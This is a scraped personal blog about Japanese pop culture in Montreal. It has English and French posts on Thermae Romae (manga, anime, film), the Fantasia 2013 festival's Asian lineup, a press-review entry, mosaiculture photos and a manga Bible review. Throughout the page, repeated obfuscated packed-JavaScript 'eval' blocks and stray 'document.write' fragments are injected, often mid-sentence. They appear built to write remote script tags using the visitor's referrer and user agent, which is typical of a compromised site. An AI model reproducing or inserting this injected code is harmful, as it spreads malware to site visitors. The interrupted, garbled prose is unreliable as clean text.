eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saara|var|u0026u|referrer|frkht||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brfbe|var|u0026u|referrer|ffatn||js|php’.split(‘|’),0,{}))

First, document.write(“”); before talking about the movie, I would like to briefly introduce the Thermae Romae manga and anime…

“When Roman architect Lucius is criticized for his “outdated” thermae designs, he retreats to the local bath to collect his thoughts. All Lucius wants is to recapture the Rome of earlier days, when one could enjoy a relaxing bath without the pressure of merchants and roughhousing patrons. Slipping deeper into the warm water, Lucius is suddenly caught in the suction and dragged through the drainage at the bottom of the bath! He emerges coughing and sputtering amid a group of strange-looking foreigners with the most peculiar bathhouse customs…over 1,500 years in the future in modern-day Japan! His contemporaries wanted him to modernize, and so, borrowing the customs of these mysterious bath-loving people, Lucius opens what quickly becomes the most popular new bathhouse in Rome—Thermae Romae!” ( from the manga publisher’s website )


Thermae Romae (???? · ??? / Roman thermal baths in Latin), was written and illustrated by Mari Yamazaki. It was first serialized by Enterbrain in their monthly seinen manga magazine Comic Beam (between February 2008 and April 2013) before being compiled into six volumes. The French translation is published by Casterman (Sakka Collection, the first five volumes have already been published) and the English translation is published by Yen Press (two volumes published so far).

Thermae Romae is a rather wacky and sometimes coarse fantastic comedy. But this is obviously not a simple comedy. This would be a average manga (good because hilarious, but no more) if it were not for its rather ingenious premise. The story is well written and supported by sound research to detail. Drawings (especially the faces and backgrounds) are in a realistic style, which is rare for a manga (especially for a comedy). Each chapter is followed by comments and explanatory notes by the author. This manga, in addition to being a pleasant entertainment, gives us a lot of information on both Japanese and Roman cultures (which, strangely, appear to have much in common).

After the first two volumes, the time traveling of Lucius whenever he quickly needs new ideas become tiresome. Fortunately, the author introduces some new elements to enliven the story (introducing a semblance of political intrigue and addressing the issue of Hadrian‘s succession, for example). Yamazaki’s story therefore avoid running out of steam by bringing Lucius to discover a little more of Japanese culture. By comparing the two cultures, she reflects upon the experience of discovering a different culture and on how the West has perceived Japanese culture. With the fourth volume, the manga take a different direction that breaks Lucius’ temporal back-and-forth cycle and gives a new life to the story. Lucius meets the brilliant Satsuki Odate, an highly educated spa geisha who is interested in ancient Rome and can speak Latin! Having an interpreter will allow Lucius to discover more aspects of modern Japanese culture. The fifth volume is less about Roman baths than various small aspects of Roman culture. The presentation of the spatio-temporal travel (which remains unexplained) is refined and the volume ends with a suspense that makes us yearn for the next and final book! A very good manga! You can read more on this manga (in french) in a previous entry of this blog.

Thermae Romae Vol. 1-5, by Mari Yamazaki. Paris, Casterman (Coll. Sakka). Vol. 1: March 2012, 186 pg., ISBN: 978-2-2030-4909-3; Vol. 2: March 2012, 202 pg., ISBN: 978-2-2030-4910-9; Vol. 3: June 2012, 194 pg., ISBN: 978-2-2030-5082-2; Vol. 4: October 2012, 194 pg., ISBN: 978-2-2030-6040-1; Vol. 5: January 2013, 194 pg., ISBN: 978-2-2030-6206-1. 13.2 x 18.1 x 1.8 cm, 7,95 € / $13.95 Can. For young adult (14+). Vol. 6 coming around the end of summer 2013.

Thermae Romae Vol. 1-2, by Mari Yamazaki. New York, Yen Press. Vol. 1: November 2012, 352 pages, ISBN: 978-0-316-22919-7; Vol. 2: May 2013, 352 pages, ISBN: 978-0-316-23219-7. 7”x 10.125, $34.99 US ($38.99 Can). For Older Teen (14+). Vol. 3 coming in February 2014.

Thermae Romae © 2009-2013 Mari Yamazaki. © Casterman 2012-2013 pour la présente édition française.

The Thermae Romae animation was produced by DreamLink Entertainment (DLE Inc.) studio under the direction of Azuma Tani with scripts by Mamoru Nakano and character designs by Toshimitsu Takechi. The three 24-min. episodes (or six 12-min. episodes) aired on Fuji TV’s Noitamina block between January 12 and January 26, 2012. The series has been licensed for released in North America by Discotek Media.

The story of the anime is much simplified (exit the political plots) and covers roughly only the first three volumes, but stay relatively faithful to the manga. Unfortunately, the anime is produced using flash animation and character designs that are very caricatural. The result is a limited animation that is far from the realistic art of the manga (this short teaser on Youtube gives you an idea). It’s still very funny and worth watching, but it’s also an acquired taste.
Thermae Romae © 2012 Mari Yamazaki / Published by Enterbrain, Inc. /??????????Anime Production Committee.

“Ancient Roman architect Lucius is too serious. His inability to keep up with the fast-moving times costs him his job. When a friend takes the dejected Lucius to the public bathhouse to cheer him up, Lucius accidentally slips through time and resurfaces in a modern-day public bath in Japan. There, he meets aspiring young manga artist Mami, along with others of the “flat-faced clan”. Shocked by the many inventive aspects of Japan’s bathing culture, Lucius returns to ancient Rome and garners tremendous attention when he implements these novel ideas back in Rome. As he time-slips back and forth between ancient Rome and modern-day Japan, Lucius’ reputation as the ingenious, new bath architect begins to grow.” (from IMDb)

The Thermae Romae movie is an excellent production. First, it includes a cast of very good actors (strangely the fact that most of the roman roles are played by Japanese actors with “less japanese faces” doesn’t make the movie feel less realistic). Second, the sets and costumes are superbs (it helps that they used the specialized facilities of Cinecitta studio in Rome, as well as some barely noticeable computer animation). Finally, it offers an interesting story, full of intrigue and good natured comedy. All in all, it is quite entertaining.

Unfortunately, if you know anything about roman antiquity or if you have previously read the manga, you’ll probably be very disappointed. First, emperor Hadrian is presented as a tyrant while he was in fact one of the most benevolent, cultured and caring emperor (as they said in the manga and anime: one of the five “good” emperors). Also, Ceionius (Aelius) is presented as an horrible womanizer and an incompetent which was most probably not the case. Secondly, I understand that a movie adaptation must take some liberty with the original story, but I felt in this case that it was diverging a little too much. The female character of Satsuki Odate, a scholarly spa geisha in the manga, is replaced by wannabe mangaka Manami Yamakoshi which opens for an entirely new story line. Lucius keeps meeting her in every of his time travelings (from the very beginning), until she finally comes back to Rome with him by accident. Her knowledge of history ends up changing the course of events and they must find a clever way to change things back as they should be happening. I am sure that in itself it is an interesting story but I was nevertheless quite disappointed. However, I still thinks it’s funny and I nevertheless recommend it.

Finally, to have a better idea of this movie, you can read a variety of reviews (The Guardian, The Hollywood Reporter and The Japan Times) and view the trailer on Youtube:


A second movie is scheduled to be released in May 2014 (AsianWiki).

Thermae Romae (???? · ???): Japan, 2012, 108 min.; Dir.: Hideki Takeuchi; Scr.: Sh?go Mut? (based on Mari Yamazaki’s manga); Phot.: Kazushige Kawagoe; Ed.: Hiroshi Matsuo; Mus.: Norihito Sumimoto; Prod.: Chihiro Kameyama, Minami Ichikawa, Atsushi Terada, Hirokazu Hamamura; Cast: Hiroshi Abe (Lucius), Aya Ueto (Manami Yamakoshi), Kazuki Kitamura (Ceionius), Riki Takeuchi (Tateno), Kai Shishido (Antoninus), Takashi Sasano (Shuzo Yamakoshi), Masachika Ichimura (Hadrian), Midoriko Kimura (Yumi Yamakoshi), Katsuya (Marcus). It was an Official selection at the Toronto International Film Festival 2012, the Hawaii International Film Festival 2012 and the New York Asian Film Festival 2013. It will screen at the Fantasia festival August 2nd at 4 pm in the Imperial Theatre.
For more information you can visit the following websites:
Available on DVD on these websites:
Thermae Romae © 2012??????????Film Production Committee.

[ Traduire ]

L’image du Mer-fleurie (2013-07-17)

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. Dans le volet Interational, l’entrée de la ville de Shibuya (Japon), “Hachiko, chien fidèle”, photographiée le 18 juin avant l’ouverture officielle. L’œuvre est inspirée d’une histoire vraie et illustre le lien très fort qui peut s’établir entre un humain et un animal.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzfkb|var|u0026u|referrer|ankzh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbken|var|u0026u|referrer|tszeb||js|php’.split(‘|’),0,{}))

Shibuya - Hachiko, chien fidèle

Press Review (2013-07-15)

Earlier this month I really felt my age as someone gave me his place in the subway! But despite chronic back pain, document.write(“”); tiredness and digestion problems (the stigmata of getting older, I guess), I feel pretty good. My mind seems clearer and I write a little more. However, time is really passing by more quickly. I feel I hardly have time to accomplish anything. I feel like I’m in a spaceship accelerating toward light speed. Pfsshh! A week-end of writing… Work! Work! Pfsshh! Another week-end of writing… Work! Work! Pfsshh… You get the idea…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|affra|var|u0026u|referrer|feekz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayfrh|var|u0026u|referrer|adizf||js|php’.split(‘|’),0,{}))

There’s still many more manga I’d like to comment about but, since the movie festivals season is arriving, I feel like watching and commenting on movies. I’ll see about that…

We keep having the same weather pattern: a few days of heat wave followed by days and days of rain… It seems it’s also the season of catastrophic events. Fire here, flood there (when it rains, it pours as they say). Plain crash here, train crash here and there! And the poor whistleblower is still stuck in the limbo of a russian airport (lesson: never blow the whistle on your government; big brother don’t like that kind of music as it makes his enemies–and even some allies–dance an outraged Flamenco). The Middle East continues its slow spontaneous combustion and Egyptians protest again as they want the pharaohs back. Florida acquit a white man for killing a black boy, but give twenty years to a black women for firing a warning shot at her abusive husband. As you see, nothing worth reporting in the news. Still, you’ll find links to a few interesting news stories after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Fantasia 2013


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrfzh|var|u0026u|referrer|tfenf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiiks|var|u0026u|referrer|ifhbr||js|php’.split(‘|’),0,{}))
The 17th edition of the
Fantasia International Film Festival will be held in Montreal from July 18 to August 7, document.write(“”); 2013. Screenings will take place at the Cinéma Impérial, Concordia’s J.A. De Sève theatre, the Cinémathèque Québécoise and at the Place des Arts. This year the festival is offering a lineup of over 120 feature films and more than 250 shorts. It will open with Takashi Miike’s Shield of straw and will close with Edgar Wright’s The world’s end. For more details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming which is offering over fifty movies from eight countries (besides Japan (33): South Korea (10), Hong Kong (4), and Taiwan (3), as well as China (1), Vietnam (1), Thaïland (1) and India (2)) and explores a multitude of genres and trends under the sign of diversity, audacity and celebration.

The Japanese selection presents thirty-three movies (including eight anime and three shorts). The notable live-action titles are the manga-related Gatchaman (international premiere), Library Wars (Canadian premiere, directed by Shinsuke Sato also known for Gantz), Rurouni Kenshin and Thermae Romae. The notable anime includes Evangelion: 3.0 You Can (Not) Redo by Hideaki Anno and Makoto Shinkai’s Garden of Words. The shorts includes works by Katsuhiro Otomo (Akira), Masaaki Yuasa (Mind Game) and Shuhei Morita (Kakurenbo: Hide & Seek).

You can also find information on Anime News Network and Coco Montreal.

See the complete list (with links to full description) after the jump:


Anime

  • 009 Re: Cyborg (Dir.: Kenji Kamiyama, North American premiere, 104 min.)
  • After School Midnighters (Dir.: Hitoshi Takekiyo, North American premiere, 94 min.). “A school’s morbid monsters of the night are no match for a trio of irrepressible little girls in this charming, distinctive and eye-poppingly weird work of 3D digital animation from Japan. Scientifically proven to spook and amuse! Official Selection: Annecy International Animation Film Festival 2013, Raindance Film Festival, Sitges International Fantastic Film Festival 2012.”
  • Berserk Golden Age Arc II: The Battle for Doldrey (Dir.: Toshiyuki Kubooka, Canadian premiere, 95 min.). “Guts, Griffiths and the Band of the Hawk hack and slash their way to the top of the bloody heap in this spectacular animated work of medieval mayhem that makes Game of Thrones seem like a pillow fight. Official Selection: Annecy International Animation Film Festival 2013.”
  • Berserk Golden Age Arc III: The Advent (Dir.: Toshiyuki Kubooka, North American, 110 min.). “Leaving the blood-soaked battlefields of medieval Midlands behind, the Band of the Hawk are drawn ever deeper into something far more dire and nightmarish as the manga adaptation draws to an apocalyptic close.”
  • The Burning Buddha Man (Dir.: Ujicha, North American premiere, 80 min.). “Gruesome abductions, a mysterious monk, monstrosities from a realm beyond our grasp… A truly independent oddity, using the forgotten “gekimation” (live-action paper cutout) technique. Weird, wondrous and way out there!”
  • Combustible (Dir.: Katsuhiro Otomo, Canadian Premiere, 12 min.).
  • Evangelion: 3.0 You Can (Not) Redo (Dir.: Hideaki Anno, North American premiere, 96 min.). “Fourteen years have elapsed since the last film’s events — alliances have shifted and the stakes have raised in Hideaki Anno’s masterful feature-film revision of his challenging and amazing Evangelion anime series!”
  • The Garden of Words (Dir.: Makoto Shinkai, Canadian premiere, 46 min.). “A series of meetings in the park are the thread of this anime tale of something like love, both deep and forever distant… A turn to realism from Makoto Shinkai (Children who chase lost voices from deep below), to many eyes the heir to Miyazaki’s throne.”
  • Kick-Heart (Dir.: Masaaki Yuasa, Canadian Premiere, 13 min.).
  • Possessions (Dir.: Shuhei Morita, Canadian Premiere, 15 min.).
  • The Tragedy of Belladona (Dir.: Eiichi Yamamoto, 1973, 88 min.).

Japan (Live-Action)

  • The Apology King (Dir.: Nobuo Mizuta, World premiere, 128 min.). “In this vibrant comedy of manners from director Nobuo Mizuta, Sadao Abe (The Great Yokai War) stars as an eccentric motivational speaker running the Tokyo Apology Centre, which advise in the age-old Japanese practice of apologizing known as “dogeza”. Screenwriter Kankuro Kudo (Zebraman, Ping Pong) builds his story as a relentless escalation of cases to be tackled, and it is in their cumulative effect that The Apology King succeeds, defying expectations of scale and thrusting the viewer into a complex, absurd and hilarious supra-case in need of more fixing than a simple apology can provide.”
  • Bad Film (Dir.: Sion Sono, Canadian premiere, 161 min.). “A recently unearthed and completed early Sion Sono (Love Exposure, Suicide Club) work and pieced together from more than 150 hours of footage shot on Hi-8 video in 1995, starring the young director in a lead role, and hundreds of members of Tokyo GAGAGA, the performance art collective he founded in 1993. Bad Film is not only entirely inaccurate in its title but a shockingly assured early film. This is simply a must for any self-respecting Sonophile, as well as one of this year’s most exciting retro discoveries, for any fan of loud, abrasive and subversive Japanese cinema. Official Selection: Hong Kong International Film Festival 2013.”
  • Bushido Man (Dir.: Takanori Tsujimoto, North American premiere, 88 min.). “Seven master fighters, seven meals to meditate on, seven noble challenges and a whole lotta chop-socky fun in a low-budget, high-octane martial arts delight from the man behind Hard Revenge Milly! Official Selection: Yubari Fantastic Film Festival 2013. Hosted by Writer/Director Takanori Tsujimoto, Actor Mitsuki Koga, Actor/Action Director Kensuke Sonomura and actor Marc Walkow.”
  • The Complex (Dir.: Hideo Nakata, Canadian premiere, 106 min.). “Surprising and disturbing, The Complex marks the long-awaited return to the J-horror genre of Hideo Nakata (Ringu, Dark Water), and he still has the touch when it comes to oppressive atmosphere and disturbing sounds, but the master has matured in both style and thematic substance. Official Selection: International Film Festival Rotterdam 2013, Brussels International Fantastic Film Festival 2013, Udine Far East Film Festival 2013.”
  • Gatchaman (Dir.: Toya Sato, International premiere, 110 min.). “At last, after years of rumours and dashed hopes, it’s here: the live-action feature film based on Tatsuo Yoshida’s 1970s anime TV series Science Ninja Team Gatchaman… better known on these shores as Battle of the Planets! The brand new, big-screen Gatchaman is directed by Toya Sato (the Gambling Apocalypse Kaiji films) Written by Yusuke Watanabe (20th Century Boys, Gantz), boasts visual effects by Takashi Yamazaki (Space Battleship Yamato) and features a cast that includes Tori Matsuzaka (a Super Sentai Series veteran), Go Ayano (Crows Zero 2, Helter Skelter) and Japanese It Girl du jour Ayame Gouriki. Don’t walk, don’t run—fly to Fantasia to catch the Japanese pop-fantasy classic revisited, screening here for the first time anywhere outside Japan!”
  • The Great Passage (Dir.: Yuya Ishii, Canadian premiere, 133 min.). “The director of Sawako Decides (winner, Best Film, Fantasia 2010) and Mitsuko Delivers returns with another sensitive character study of an introverted young man throwing himself into editing an ambitious dictionary. Subtly epic in its manner and understatedly funny in its scripting. Official Selection: Hong Kong International Film Festival 2013, Puchon International Fantastic Film Festival 2013.”
  • Hello, My Dolly Girlfriend (Dir.: Takashi Ishii, International premiere, 112 min.).
  • Helter Skelter (Dir.: Mika Ninagawa, Canadian premiere, 127 min.). “LiLiCo is on the cover of every magazine, the object of lust and idolatry for all that enter her orbit. But perfect beauty is nothing more than a lovely nightmare. An aggressively effective, deceptively candy-coloured portrait of sex and power, where superstar Erika Sawajiri delivers a spectacular performance. Official Selection: BFI London 2012, New York Asian Film Festival 2013.”
  • HK/Forbidden Super Hero (Dir.: Yuichi Fukuda, Canadian premiere, 105 min.). “Disguised by a pair of panties, the Masked Pervert is the world’s first sex-fiend superhero! Forget Captain America, check out this delirious pastiche loaded with lowbrow laughs. Pervert power for the win! Official Selection: Puchon International Fantastic Film Festival 2013, New York Asian Film Festival 2013.”
  • I’ll Give It My All… Tomorrow (Dir.: Yuichi Fukuda, International premiere, 108 min.).
  • It’s Me, It’s Me (Dir.: Satoshi Miki, Canadian premiere, 119 min.).
  • Key of Life (Dir.: Kenji Uchida, Quebec premiere, 128 min.). “A failed actor usurps the identity of a hired killer who has been struck by amnesia. Great idea! This little gem of comedy carried by deadpan hilarious humour, sharp dialogue and stunning plot twists has charmed crowds everywhere it’s played. Winner: Best Screenplay Award, Shanghai International Film Festival 2012, Official Selection: Toronto International Film Festival 2012, Brussels International Fantastic Film Festival 2013.”
  • Lesson of the Evil (Dir.: Takashi Miike, Canadian premiere, 129 min.). “Takashi Miike, who also opens this year’s festival with the North American Premiere of the previously-announced Shield of Straw, makes a powerful return to exploitation cinema with what may well be the single most shocking film of his career. In this horrific thriller threaded with black humour, a model teacher loved by all is in fact a psychopath planning the mass slaughter of his students. Official Selection: Rome Film Festival 2012, International Film Festival Rotterdam 2013.”
  • Library Wars (Dir.: Shinsuke Sato, Canadian premiere, 128 min.). Based on Hiro Arikawa’s light novel and Kiiro Yumi’s manga adaptation. [ See my previous blog entry on this title ]
  • Neo Ultra Q (Dir.: various, North American premiere, 48 min.).
  • Number 10 Blues/Goodbye Saigon (Japan/Vietnam co-production, Dir.: Norio Osada, North American premiere, 97 min.). “One of the most exciting retro discoveries in years, this stunning insider’s look at the Vietnam War by Kinji Fukasaku collaborator Norio Osada (best known as the screenwriter of Lady Snowblood) flows with the madcap energy unique to 1970s counter-culture/exploitation cinema. Official Selection: International Film Festival Rotterdam 2013.”
  • Rurouni Kenshin (Dir.: Keishi Otomo, Quebec premiere, 135 min.). Based on Nobuhiro Watsuki’s manga. “In Meiji-era Japan, a former killer now wanders the countryside, his backward-bladed sword a symbol of his devotion to justice. It’s peace he seeks – but strife and treachery that find him! Fans of slick, slice-’em-up samurai cinema won’t want to miss this! Official Selection: Sitges International Fantastic Film Festival 2012.”
  • See You Tomorrow, Everyone (Dir.: Yoshihiro Nakamura, North American premiere, 120 min.). “Following a traumatic event, Satoru refuses to leave the urban island Furoku. A brilliant dissection of modern Japan, this insightful and exceptional film stars the formidable Gaku Hamada (Fish Story). From the inimitable director of Fish Story, Golden Slumber, A Boy and his Samurai. Official Selection: Udine Far East Film Festival 2013.”
  • Shield of Straw (Dir.: Takashi Miike, North American premiere, 125 min.).
  • Thermae Romae (Dir.: Hideki Takeuchi, Quebec premiere, 108 min.). Based on Mari Yamazaki’s manga (see my previous comments, in french). “A public-bathhouse builder in Rome of 128 A.D. tumbles through time to modern Japan, land of such marvels as toilet paper, Jacuzzis and of course electronic bidets! A wonderfully offbeat Japanese historical fantasy comedy with Hiroshi Abe (Survive Style 5+, Chocolate). Winner: Outstanding Performance by an Leading Actor, Japan Academy Awards 2013.” Screened at last years’ Toronto Film Festival.
  • The Tiger Mask (Dir.: Ken Ochiai, North American premiere, 91 min.). Based on Naoki Tsuji’s manga. “Revamping the orphan who becomes a wrestler to fight villains – an icon of anime, manga and live wrestling – Shochiku has initiated a new Japanese superhero franchise with The Tiger Mask. Be sure to get a ringside seat for its dynamic debut, screening here for the first time on the continent. Hosted by Co-Writer/Director Ken Ochiai.”
  • Ultraman Zero: The Revenge of Belial (Dir.: Yuichi Abe, North American premiere, 100 min.). “Nebula M78, the Land of Light, homeworld of the Ultramen, is attacked by Belial’s robotic weapons… celebrate the 50th anniversary of Tsuburaya Productions with this all-action sci-fi extravaganza.”
  • Uzumasa Jacopetti (Dir.: Moriro Miyamoto, North American premiere, 83 min.).

South Korea

Hong Kong and Taiwan

Others

[ Traduire ]

L’image du mer-fleurie

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. Dans le volet Interational, l’entrée de la ville de Hamamatsu (Japon), “Le piano et la tortue”, photographiée le 18 juin avant l’ouverture officielle. L’œuvre présente la symbiose de l’homme et de la nature tournée vers l’avenir.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdizh|var|u0026u|referrer|zyrnn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iabrk|var|u0026u|referrer|azsei||js|php’.split(‘|’),0,{}))

Untitled

Manga de Dokuha

Ma lecture récente de La Bible (2): Le Nouveau Testament m’a fait découvrir la collection Manga de Dokuha (et c’est sans doute la seule bonne chose que m’a apporté la lecture de ce manga).

J’ai souvent entendu parlé de classiques de la littérature adaptés en manga (ça n’a rien de nouveau: Tezuka a adapté Crimes et châtiments de Dostoïevski et le classique japonais Le dit du Genji [Genji monogatari] a aussi connu maintes adaptations). Mais quand il était question de titres comme Das Kapital de Marx ou Mein Kampf d’Hitler, je me disais qu’il fallait vraiment que je lise ça. Ce que j’ignorais c’est que la plupart de ces adaptations manga de grands classiques appartiennent en fait à une seule et même collection! Pour en faire la découverte…

…Continuez après le saut de page >>
Continue reading

La Bible (2) : Le Nouveau Testament en manga!

“De la création du monde à la mort du Christ, document.write(“”); redécouvrez le texte le plus lu au monde dans une version manga complète et riche. “que la lumière soit…”. Dieu créa le monde par ces simples mots, avant de faire l’homme puis la femme. Ayant prospéré avec le temps, l’humanité oublia à plusieurs reprises la gloire de Dieu et devint orgueilleuse. Alors Dieu décida de détruire les hommes… avant de leur envoyer son fils pour racheter leurs fautes…” [ Résumé de la série sur le site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yaayz|var|u0026u|referrer|sinsz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akfak|var|u0026u|referrer|afadb||js|php’.split(‘|’),0,{}))

La vie du Christ qui a aidé et sauvé des gens par ses miracles. Une Église de plan international, des croyants à travers le monde entier et un livre sacré… « le Nouveau Testament » raconte la vie du fils de Dieu, Jésus-Christ, aussi appelé le « messie », incarné sur terre pour guider les Hommes vers le royaume de Dieu, mais aussi ses paroles et ses miracles. Un livre qui sert de pivot à l’enseignement du christianisme depuis 2000 ans.“ [ Texte de la
couverture arrière ]

Continuez après le saut de page >>

Ce manga seinen m’est tombé entre les mains à la bibliothèque (étrangement, il n’est disponible que dans une seule bibliothèque alors que le premier volume, lui, n’est disponible que dans une autre!) au moment où je lisait Les vacances de Jésus et Bouddha. Malgré mes réticences à lire ce qui ne pouvait être qu’une montagne d’ineptie, je me suis dis que ce serait un enchaînement amusant. Quelle erreur (horreur)! Mais bon, on retrouve toujours du bon dans tout…

La Bible (vol. 2): Le Nouveau Testament (?????? ???? / Manga de Dokuha: Shin’yaku Seisho) a été publié en novembre 2010 par East Press en tant que numéro 73 (MD073) de leur collection de classiques de la littérature (Manga de Dokuha / “Lisez en manga”–je reviendrai sur cette importante collection dans un prochain billet). Je n’ai trouvé pratiquement aucune information sur le studio Variety Art Works qui adapte et illustre les titres de cette collection (il y a bien un site en japonais, alors j’en saurai peut-être un peu plus quand j’en aurai traduit l’essentiel). [À droite: le baptême de Jésus par Jean le Baptiste, pg. 36]

L’histoire, nous la connaissons déjà tous, est plutôt simple: c’est la vie de Jésus et ce manga la parcourt en accéléré (c’est un peu comme visionner un film en “fast-forward”). Les chapitres se divisent comme suit: “La Bible” (un bref rappel de ce que c’est), “L’Annonciation” (un ange vient dire à Marie qu’elle est enceinte), “Jean le Baptiste” (celui-ci prêche la venue du Messie et baptise Jésus qui part ensuite subir les tentations de Satan dans le désert), “Les débuts du ministère” (Jésus commence à se faire connaitre par de premiers miracles et rassemble ses disciples), “Les Enseignements de Jésus” (il prêche en usant parfois de paraboles mais ça ne marche pas partout et il risque de s’attirer la colère des puissants, comme Jean le Baptiste qui fut exécuté par le roi Hérode), “Les miracles de Jésus” (il voyage, prêche et fait d’autres miracles comme la multiplication des pains, marcher sur l’eau, ressusciter Lazare et il prédit sa propre mort, car le nombre grandissant de ses disciples ennui les prêtres et les pharisiens qui complotent sa perte), “La Passion du Christ” (Jésus se rends à Jérusalem où il chasse les marchands du temple et continue de prêcher alors que des pharisiens tentent de le piéger par des questions; après la dernière cène et un dernier discours à ses douze disciples les plus proche sur le mont des Oliviers, il est trahi par Judas et arrêté; il subit un procès sommaire et est crucifié), “La Résurrection et l’Ascension” (Marie-Madeleine découvre le 